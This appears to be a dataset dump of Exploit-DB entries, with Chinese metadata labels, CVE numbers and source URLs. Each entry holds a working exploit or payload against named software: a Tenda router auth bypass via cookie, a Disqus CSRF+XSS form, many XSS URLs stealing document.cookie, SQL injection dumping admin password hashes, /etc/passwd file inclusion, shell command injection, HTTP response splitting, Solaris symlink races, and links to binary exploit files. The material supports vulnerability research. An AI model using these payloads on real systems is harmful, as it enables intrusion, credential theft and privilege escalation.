QLWD/code_shield huggingface dataset:
标题: Tenda A5s Router 3.02.05_CN - Authentication Bypass EDB-ID: 34361 CVE: 2014-5246 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-08-18 漏洞利用脚本: -----------------------------------------------------------------------
          Tenda A5s Router Authentication Bypass Vulnerability
-----------------------------------------------------------------------
Author      : zixian
Mail        : me@zixian.org
Date        : Aug, 17-2014
 
Vendor      : http://tenda.com.cn/
Link        : http://tenda.com.cn/Catalog/Product/223
Version     : V3.02.05_CN
CVE         : CVE-2014-5246
 
Exploit & p0c
_____________
 
go to
    http://192.168.2.1/
 
then set cookie with javascript
 
    javascript:document.cookie='admin:language=zh-cn'

go to
    http://192.168.2.1/advance.asp

you are the admin!
_____________ URL: https://www.exploit-db.com/exploits/34361
标题: OpenLDAP 2.4.22 - 'modrdn' Multiple Vulnerabilities EDB-ID: 34348 CVE: 2010-0211 类型: DOS 平台: LINUX 发布日期: 2010-07-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/41770/info

OpenLDAP is prone to multiple vulnerabilities.

Successfully exploiting these issues allows remote attackers to execute arbitrary code in the context of the application or cause denial-of-service conditions.

OpenLDAP 2.4.22 is vulnerable; other versions may also be affected.

ldapmodrdn -x cn=something,dc=anything cn=#80
ldapmodrdn -x dc=something,dc=anything dc= URL: https://www.exploit-db.com/exploits/34348
标题: WordPress Plugin Disqus 2.7.5 - Cross-Site Request Forgery (Admin Persistent) / Cross-Site Scripting EDB-ID: 34336 CVE: 2014-5347 2014-5346 2014-5345 类型: WEBAPPS 平台: PHP 发布日期: 2014-08-14 漏洞利用脚本: <!--
Exploit for Disqus for Wordpress admin stored CSRF+XSS up to v2.7.5

Blog post explainer: https://www.nikcub.com/posts/multiple-vulnerabilities-in-disqus-wordpress-plugin/

12th August 2014

Nik Cubrilovic - www.nikcub.com

Most of these params are unfiltered/injectable. Not framable on newer Wordpress.

-->

<body onload="javascript:document.forms[0].submit()">
  

<form  action="http://wordpress.dev/wp-admin/edit-comments.php?page=disqus" method="post" class="dashboard-widget-control-form">
<h1>disqus csrf reset</h1>
<!-- Idea for you: Iframe it -->
<input name="disqus_forum_url" type="hidden" value="wordpress342222222" />
<input name="disqus_replace" type="hidden" value="all" />

<!-- <input name="disqus_partner_key" type="hidden" value="1" /> -->
<input name="disqus_cc_fix" type="hidden" value="1" />
<input name="disqus_partner_key" type="hidden" value="1" />
<input name="disqus_secret_key" type="hidden" value="1" />
<!-- Your File: <input name="disqus_sso_button" type="file" /><br /> -->
<input type="submit" value="save" />
<input name="disqus_public_key" type="hidden" value='&lt;/textarea&gt;<script>alert(1);</script><textarea>' />
</form> URL: https://www.exploit-db.com/exploits/34336
标题: Oracle Solaris - 'nfslogd' Insecure Temporary File Creation EDB-ID: 34313 CVE: 2010-2383 类型: LOCAL 平台: SOLARIS 发布日期: 2010-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/41637/info

Oracle Solaris is prone to an insecure temporary file creation vulnerability.

A local attacker can exploit this issue to overwrite arbitrary files with the privileges of the affected process. This will likely result in denial-of-service conditions, other attacks may also be possible.

This vulnerability affects the following supported versions:
8, 9, 10, OpenSolaris 

nnDon't Panic! # ls -dl /etc/oops
/etc/oops: No such file or directory
Don't Panic! # ls -dl /tmp/.nfslogd.pid
lrwxrwxrwx   1 nobody   nobody         9 Dec 29 21:24 /tmp/.nfslogd.pid
-> /etc/oops
Don't Panic! # id
uid=0(root) gid=0(root)
Don't Panic! # /usr/lib/nfs/nfslogd
Don't Panic! # ls -dl /etc/oops
-rw-------   1 root     root           4 Dec 29 21:25 /etc/oops URL: https://www.exploit-db.com/exploits/34313
标题: Oracle Solaris Management Console - WBEM Insecure Temporary File Creation EDB-ID: 34314 CVE: 2010-2384 类型: LOCAL 平台: SOLARIS 发布日期: 2010-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/41642/info

The 'Solaris Management Console' sub component of Oracle Solaris creates temporary files in an insecure manner.

An attacker with local access can exploit this issue to overwrite arbitrary files. This may result in denial-of-service conditions or could aid in other attacks.

Solaris 9 and 10 are affected.

   $ id
   uid=101(fstuart) gid=14(sysadmin)
   $ cd /tmp
   $ x=0
   $ while [ "$x" -ne 30000 ] ;do
   > ln -s /etc/important /tmp/dummy.$x
   > x=$(expr "$x" + 1)
   > done
   $ ls -dl /etc/important
   -rw-r--r--   1 root     root          38 Jan  3 22:43 /etc/important
   $ cat /etc/important
      This is an important file!

      EOF URL: https://www.exploit-db.com/exploits/34314
标题: Oracle Solaris 8/9/10 - 'flar' Insecure Temporary File Creation EDB-ID: 34311 CVE: 2010-2382 类型: LOCAL 平台: SOLARIS 发布日期: 2010-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/41619/info

Oracle Solaris is prone to an insecure temporary file creation vulnerability.

A local attacker can exploit this issue to overwrite arbitrary files with the privileges of the affected process. This will likely result in denial-of-service conditions, other attacks may also be possible.

Oracle Solaris 8, 9 and 10 are vulnerable. 


   $ x=0
   $ while [ "$x" -le 30000 ];do
   > ln -s /etc/important /tmp/.flash_filter_one_.$x
   > x=$(expr "$x" + 1)
   > done

Later, when root creates a flash archive with:

   # flar create -n junk `pwd`/junk.flar URL: https://www.exploit-db.com/exploits/34311
标题: Oracle Business Process Management 10.3.2 - Cross-Site Scripting EDB-ID: 34310 CVE: 2010-2370 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/41617/info

Oracle Business Process Management is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

This vulnerability affects the following supported versions:
5.7 MP3, 6.0 MP5, 10.3 MP2

http://www.example.com:8585/webconsole/faces/faces/faces/jsf/tips.jsp?context=<script>alert(document.cookie)</script>
http://www.example.com:8585/webconsole/faces/faces/faces/jsf/tips.jsp?context=<script>alert('CorelanTeam')</script> URL: https://www.exploit-db.com/exploits/34310
标题: Oracle WebLogic Server 10.3.3 - Encoded URL EDB-ID: 34312 CVE: 2010-2375 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/41620/info

Oracle WebLogic Server is prone to a remote vulnerability.

The vulnerability can be exploited over the 'HTTP' protocol. For an exploit to succeed, the attacker must have 'Plugins for Apache, Sun and IIS web servers' privileges.

This vulnerability affects the following supported versions:
7.0 SP7, 8.1 SP6, 9.0, 9.1, 9.2 MP3, 10.0 MP2, 10.3.2, 10.3.3 

The following example requests are available:

GET /logo.gif%20HTTP/1.1%0d%0aX-hdr:%20x HTTP/1.1
Host: vulnerable.example.com
Connection: close

GET /logo.gif%20HTTP/1.1%0d%0aHost:%20vulnerable.example.com%0d%0a%0d%0aGET%20/inject.gif HTTP/1.1
Host: vulnerable.example.com URL: https://www.exploit-db.com/exploits/34312
标题: TomatoCart 1.x - SQL Injection EDB-ID: 34308 CVE: 2014-3978 类型: WEBAPPS 平台: PHP 发布日期: 2014-08-09 漏洞利用脚本: Title:
    TomatoCart v1.x (latest-stable) Remote SQL Injection Vulnerability

Background:
    TomatoCart is open source ecommerce solution developed and maintained by a number of 64,000+ users from 50+ countries and regions. It's distributed under the terms of the GNU General Public License (or "GPL"), free to download and share. The community, including project founders and other developers, are supposed to work together on the platform of TomatoCart, contributing features, technical support and services. The current stable package is TomatoCart V1.1.8.6.1, while the latest development version is version 2.0 Alpha 4.  This exploit affects the "stable" tree.

Timeline:
    06 June 2014   - CVE-2014-3978 assigned
    06 June 2014   - Submitted to vendor
    25 June 2014   - Received inadequate patch from vendor
    26 June 2014   - Suggested patch sent to vendor
    17 July 2014   - Request for update from vendor, no response.
    05 August 2014 - Pull request sent on github for full patch

Status:
    Vendor ignored, see suggested fix below.

Released:
    05 August 2014 - https://breaking.technology/advisories/CVE-2014-3978.txt

Classification:
    SQL Injection

Exploit Complexity:
    Low

Severity:
    High

Description:
    TomatoCart suffers from a systemic vulnerability in its query factory, allowing attackers to circumvent user input sanitizing to perform remote SQL injection. 

    Required Information:
    * Valid user account

PoC:
    Create a new contact in your address book using the following values. 

    First name: :entry_lastname,
    Last Name : ,(select user_name from toc_administrators order by id asc limit 1),(select user_password from toc_administrators order by id asc limit 1),3,4,5,6,7,8,9,10)# 
    
    The new contact will be added to your address book with the admin hash as the contact's street address 

Suggested Action:
    Pull request has been sent to the developers on github. Recommend patching the required to properly encode colon (:)
    https://github.com/tomatocart/TomatoCart-v1/pull/238 URL: https://www.exploit-db.com/exploits/34308
标题: Oracle Solaris - 'rdist' Privilege Escalation EDB-ID: 34309 CVE: 2010-0916 类型: DOS 平台: SOLARIS 发布日期: 2010-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/41612/info

Oracle Solaris is prone to a local privilege-escalation vulnerability.

Local attackers can exploit this issue to execute arbitrary code with superuser privileges. Successfully exploiting this issue will result in the complete compromise of affected computers.

The following products are affected:

Solaris 10
OpenSolaris 

/usr/bin/rdist -cDwh file_that_is_hardlink rlogin_host:LONG_STRING URL: https://www.exploit-db.com/exploits/34309
标题: SimpNews 2.47.3 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 34286 CVE: 2010-2858 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/41517/info

SimpNews is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

SimpNews 2.47.03 is vulnerable; other versions may also be affected. 

http://www.example.com/simpnews/news.php?layout=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/simpnews/news.php?lang=en&layout=layout2&sortorder=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/34286
标题: osCSS 1.2.2 - 'page' Cross-Site Scripting EDB-ID: 34284 CVE: 2010-2856 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/41510/info

osCSS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

osCSS version 1.2.2 is vulnerable; other versions may also be affected.

http://www.example.com/admin/currencies.php?page=1"><script>alert(document.cookie)</script>&cID=1 URL: https://www.exploit-db.com/exploits/34284
标题: LibTIFF 3.9.4 - Out-Of-Order Tag Type Mismatch Remote Denial of Service EDB-ID: 34278 CVE: 2010-2630 类型: DOS 平台: LINUX 发布日期: 2010-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/41475/info

LibTIFF is prone to a denial-of-service vulnerability because it fails to properly validate user-supplied input.

An attacker can exploit this issue to crash an application that uses the vulnerable library, denying service to legitimate users. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34279.tif URL: https://www.exploit-db.com/exploits/34278
标题: LibTIFF 3.9.4 - Unknown Tag Second Pass Processing Remote Denial of Service EDB-ID: 34279 CVE: 2010-2631 类型: DOS 平台: LINUX 发布日期: 2010-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/41477/info

LibTIFF is prone to a denial-of-service vulnerability because it fails to properly validate user-supplied input.

An attacker can exploit this issue to crash an application that uses the vulnerable library, denying service to legitimate users. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34279.tif URL: https://www.exploit-db.com/exploits/34279
标题: Exponent CMS 0.97 - 'Slideshow.js.php' Cross-Site Scripting EDB-ID: 34265 CVE: 2010-5002 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/41447/info

Exponent CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Exponent 0.97.0 is vulnerable; other versions may also be affected. 

http://www.example.com/modules/slideshowmodule/slideshow.js.php?u=%3Cscript%3Ewindow.alert(String.fromCharCode(88,83,83));%3C/script%3E URL: https://www.exploit-db.com/exploits/34265
标题: Orbis CMS 1.0.2 - 'editor-body.php' Cross-Site Scripting EDB-ID: 34253 CVE: 2010-2669 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/41390/info

Orbis CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Orbis CMS 1.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/editors/text/editor-body.php?s=%22%3E%3Cscript%3Ealert(0)%3C/script%3E URL: https://www.exploit-db.com/exploits/34253
标题: NewsOffice 2.0.18 - 'news_show.php' Cross-Site Scripting EDB-ID: 34258 CVE: 2010-2844 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/41419/info

NewsOffice is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

NewsOffice 2.0.18 is vulnerable; other versions may also be affected.


http://www.example.com/newsoffice/news_show.php?n-user=a&n-cat='%3E%3Cscript%3Ealert(0)%3C/script%3E URL: https://www.exploit-db.com/exploits/34258
标题: Freeciv 2.2.1 - Multiple Remote Denial of Service Vulnerabilities EDB-ID: 34249 CVE: 2012-6083 类型: DOS 平台: LINUX 发布日期: 2010-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/41352/info

Freeciv is prone to multiple remote denial-of-service vulnerabilities because the application fails to properly handle specially crafted network packets.

An attacker can exploit these issues to cause the applications to become unresponsive or to crash the affected game servers, denying service to legitimate users.

Freeciv 2.2.1 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34249.zip URL: https://www.exploit-db.com/exploits/34249
标题: Joomla! Component Canteen 1.0 - Local File Inclusion EDB-ID: 34250 CVE: 2010-4977 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/41358/info

The Miniwork Studio Canteen component for Joomla! is prone to an SQL-injection vulnerability and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Attackers can exploit the SQL-injection vulnerability to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute arbitrary local files within the context of the webserver process. Information harvested may aid in further attacks.

Canteen 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/index.php?option=com_canteen&controller=../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/34250
标题: CANDID - '/image/view.php?image_id' SQL Injection EDB-ID: 34219 CVE: 2010-4979 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/41216/info

CANDID is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/image/view.php?image_id=[SQLI] URL: https://www.exploit-db.com/exploits/34219
标题: CANDID - '/image/view.php?image_id' Cross-Site Scripting EDB-ID: 34220 CVE: 2010-4978 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/41216/info
 
CANDID is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/image/view.php?image_id=[XSS] URL: https://www.exploit-db.com/exploits/34220
标题: Miyabi CGI Tools 1.02 - 'index.pl' Remote Command Execution EDB-ID: 34223 CVE: 2010-2626 类型: WEBAPPS 平台: CGI 发布日期: 2010-06-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/41228/info

Miyabi CGI Tools is prone to a vulnerability that attackers can leverage to execute arbitrary commands in the context of the application. This issue occurs because the application fails to adequately sanitize user-supplied input.

Successful attacks can compromise the affected application and possibly the underlying computer.

Miyabi CGI Tools 1.02 is vulnerable; other versions may also be affected.

http://www.example.com/index.pl?mode=html&fn=|uname%20-a| URL: https://www.exploit-db.com/exploits/34223
标题: TornadoStore 1.4.3 - SQL Injection / HTML Injection EDB-ID: 34225 CVE: 2010-1327 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/41233/info

TornadoStore is prone to an SQL-injection vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.

TornadoStore 1.4.3 is vulnerable; other versions may be vulnerable. 

The following example URIs are available:

http://www.example.com/control/abm_list.php3?db=ts_143&tabla=delivery_courier&tabla_det=delivery_costo&order=&ordor=&tit=&transporte=&ira=&pagina=1&det_order=nDeCSer&det_ordor=asc&txtBuscar=&vars=&where='

http://www.example.com/precios.php3?marca=12' URL: https://www.exploit-db.com/exploits/34225
标题: PHP Bible Search - 'bible.php?chapter' Cross-Site Scripting EDB-ID: 34214 CVE: 2010-2617 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/41197/info
 
PHP Bible Search is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/bible.php?string=&book=2&chapter=[XSS] URL: https://www.exploit-db.com/exploits/34214
标题: PHP Bible Search - 'bible.php?chapter' SQL Injection EDB-ID: 34213 CVE: 2010-2616 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/41197/info

PHP Bible Search is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/bible.php?string=&book=2&chapter=[SQLI] URL: https://www.exploit-db.com/exploits/34213
标题: feh 1.7 - '--wget-Timestamp' Remote Code Execution EDB-ID: 34201 CVE: 2010-2246 类型: REMOTE 平台: LINUX 发布日期: 2010-06-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/41161/info

feh is prone to a remote code-execution vulnerability.

Attackers can exploit this issue to execute arbitrary code in the context of the user running the application. Successful exploits will compromise the application and possibly the computer. 

feh --wget-timestamp 'http://www.example.com/stuff/bar`touch lol_hax`.jpg' URL: https://www.exploit-db.com/exploits/34201
标题: Cisco Adaptive Security Response - HTTP Response Splitting EDB-ID: 34200 CVE: 2008-7257 类型: REMOTE 平台: HARDWARE 发布日期: 2010-06-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/41159/info

Cisco Adaptive Security Response (ASA) is prone to an HTTP response-splitting vulnerability.

Attackers can leverage this issue to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into having a false sense of trust.

Firmware versions prior to Cisco ASA 8.1(2) are vulnerable.

This issue is being tracked by Cisco Bugid CSCsr09163.

URL: http://www.example.com/%0d%0aLocation%3a%20http%3a%2f%2fwww%2egoogle%2ecom Request: GET http://www.example.com/%0d%0aLocation%3a%20http%3a%2f%2fwww%2egoogle%2ecom HTTP/1.0 Host: /www.example.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Response: HTTP/1.0 301 Moved Permanently Server: Web Server Location: https:///www.example2.com/ Location: http:///www.example3.com Content-Type: text/html Content-Length: 125 URL: https://www.exploit-db.com/exploits/34200